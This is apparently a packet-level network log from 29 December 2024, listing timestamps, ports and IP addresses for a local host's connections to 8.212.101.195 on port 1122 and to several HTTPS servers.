Dec 29, 2024 13:54:26.455070019 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.455085993 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.458244085 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.458307981 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.458358049 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.461417913 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.461469889 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.461520910 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.464587927 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.464638948 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.464696884 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.467757940 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.467808008 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.467818022 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.470912933 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.470968008 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.471019030 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.473932028 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.473985910 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.474069118 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.477077007 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.477118015 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.477137089 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.480211973 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.480263948 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.480305910 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.483349085 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.483409882 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.483445883 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.486478090 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.486534119 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.486573935 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.489696980 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.489738941 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.489759922 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.492736101 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.492793083 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.492842913 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.495899916 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.495960951 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.495984077 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.499026060 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.499080896 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.499136925 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.502249956 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.502296925 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.502325058 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.505326033 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.505392075 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.505423069 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.508435011 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.508505106 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.508547068 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.511565924 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.511631966 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.511662960 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.514679909 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.514746904 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.514751911 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.517849922 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.517868042 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.517915010 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.520960093 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.521022081 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.521028042 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.524071932 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.524139881 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.524175882 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.527224064 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.527286053 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.527337074 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.530350924 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.530424118 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.530456066 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.533504009 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.533548117 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.533591032 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.536628008 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.536684036 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.536735058 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.539817095 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.539872885 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.539926052 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.542915106 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.542979956 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.543024063 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.546032906 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.546072006 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.546129942 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.549194098 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.549237013 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.549262047 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.552292109 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.552339077 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.552396059 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.555493116 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.555547953 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.555551052 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.558564901 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.558600903 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.558620930 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.561693907 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.561738968 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.561809063 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.564831972 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.564873934 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.564919949 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.567954063 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.567995071 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.568046093 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.663961887 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.664015055 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.664066076 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.665184975 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.665227890 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.665252924 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.667363882 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.667422056 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.667462111 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.669565916 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.669610023 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.669651985 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.671809912 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.671859980 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.671900988 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.673966885 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.674019098 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.674062967 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.676183939 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.676230907 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.676315069 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.678327084 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.678369045 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.678432941 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.680458069 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.680501938 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.680587053 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.682569981 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.682627916 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.682655096 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.684700012 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.684789896 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.684818983 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.686780930 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.686841011 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.686939955 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.688791037 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.688849926 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.688894987 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.690870047 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.690913916 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.690988064 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.692861080 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.692912102 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.692959070 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.694946051 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.695003986 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.695049047 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.696902037 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.696963072 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.696985960 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.864537001 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.864609003 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.864624023 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.917228937 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:27.916754961 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:28.315591097 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:28.315658092 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:30.030021906 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:34.531691074 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:34.652797937 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:34.652846098 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:34.652873039 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:34.652901888 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:35.106019020 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:35.114598036 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:35.235414028 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:53.509191036 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:53.629893064 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:54.062334061 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:54.108743906 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:54.136173964 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:54.257160902 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:54.257172108 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:54.257175922 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:59.596678972 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:59.596700907 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:05.435132980 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:05.435169935 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:05.435317039 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:05.435719013 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:05.435731888 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:07.215192080 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:07.215548038 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:07.215569019 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:07.215893030 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:07.216449022 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:07.216511011 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:07.259505987 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:14.437041998 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:14.437122107 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:14.437468052 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:14.452931881 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:14.452946901 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:16.903366089 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:16.903439045 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:16.903719902 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:16.941663027 CET	50285	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:55:16.941685915 CET	443	50285	172.217.21.36	192.168.2.4
Dec 29, 2024 13:55:17.186415911 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:17.186423063 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:17.186472893 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:17.186960936 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:17.186969995 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:17.338926077 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:17.459774971 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:18.040776968 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:18.109467030 CET	49930	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:55:18.230541945 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:18.230607033 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:18.230638027 CET	1122	49930	8.212.101.195	192.168.2.4
Dec 29, 2024 13:55:19.015454054 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:19.036366940 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:19.036379099 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:19.036768913 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:19.039428949 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:19.039493084 CET	443	50422	152.199.21.175	192.168.2.4
Dec 29, 2024 13:55:19.122679949 CET	50422	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:55:24.924355984 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:24.924406052 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:24.924474955 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:24.924715996 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:24.924730062 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.298134089 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.303015947 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.303039074 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.304054022 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.304100037 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.310183048 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.310240030 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.310638905 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.310643911 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.486124992 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.829715967 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.829745054 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.829755068 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.829823017 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.829828978 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:26.829871893 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.830702066 CET	50489	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:26.830723047 CET	443	50489	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:27.283070087 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:27.283133984 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:27.283437967 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:27.283476114 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:27.283487082 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:27.283531904 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:27.283868074 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:27.283885002 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:27.283996105 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:27.284008980 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.054256916 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:28.054302931 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:28.054383039 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:28.054579973 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:28.054596901 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:28.696675062 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.702023983 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:28.702048063 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.703059912 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.703118086 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:28.703221083 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:28.704436064 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:28.704452038 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:28.705562115 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:28.705631971 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:28.708204985 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:28.708326101 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.708513021 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:28.708527088 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:28.708614111 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:28.708686113 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:28.708828926 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:28.708837032 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:28.773813009 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:28.823381901 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:29.229573965 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:29.229645014 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:29.229715109 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:29.234523058 CET	50511	443	192.168.2.4	63.140.62.17
Dec 29, 2024 13:55:29.234539986 CET	443	50511	63.140.62.17	192.168.2.4
Dec 29, 2024 13:55:29.240099907 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.240125895 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.240133047 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.240178108 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:29.240185976 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.240195036 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.240225077 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:29.240251064 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:29.240750074 CET	50510	443	192.168.2.4	54.155.166.119
Dec 29, 2024 13:55:29.240761042 CET	443	50510	54.155.166.119	192.168.2.4
Dec 29, 2024 13:55:29.304164886 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.304193020 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.304285049 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.304486990 CET	50530	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.304495096 CET	443	50530	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.467689037 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.467957973 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.467987061 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.469506025 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.469593048 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.470108986 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.470191956 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.470276117 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.470288038 CET	443	50519	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.501879930 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:29.501939058 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:29.501998901 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:29.502523899 CET	50535	443	192.168.2.4	63.140.62.222
Dec 29, 2024 13:55:29.502538919 CET	443	50535	63.140.62.222	192.168.2.4
Dec 29, 2024 13:55:29.564927101 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:29.564985037 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:29.565047979 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:29.565562010 CET	50537	443	192.168.2.4	37.252.172.123
Dec 29, 2024 13:55:29.565578938 CET	443	50537	37.252.172.123	192.168.2.4
Dec 29, 2024 13:55:29.604768038 CET	50519	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.668083906 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.668112993 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.668193102 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.668418884 CET	50539	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:29.668438911 CET	443	50539	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:29.828648090 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:29.828684092 CET	443	50542	35.244.154.8	192.168.2.4
Dec 29, 2024 13:55:29.829102039 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:29.919775963 CET	50542	443	192.168.2.4	35.244.154.8
Dec 29, 2024 13:55:29.919791937 CET	443	50542	35.244.154.8	192.168.2.4
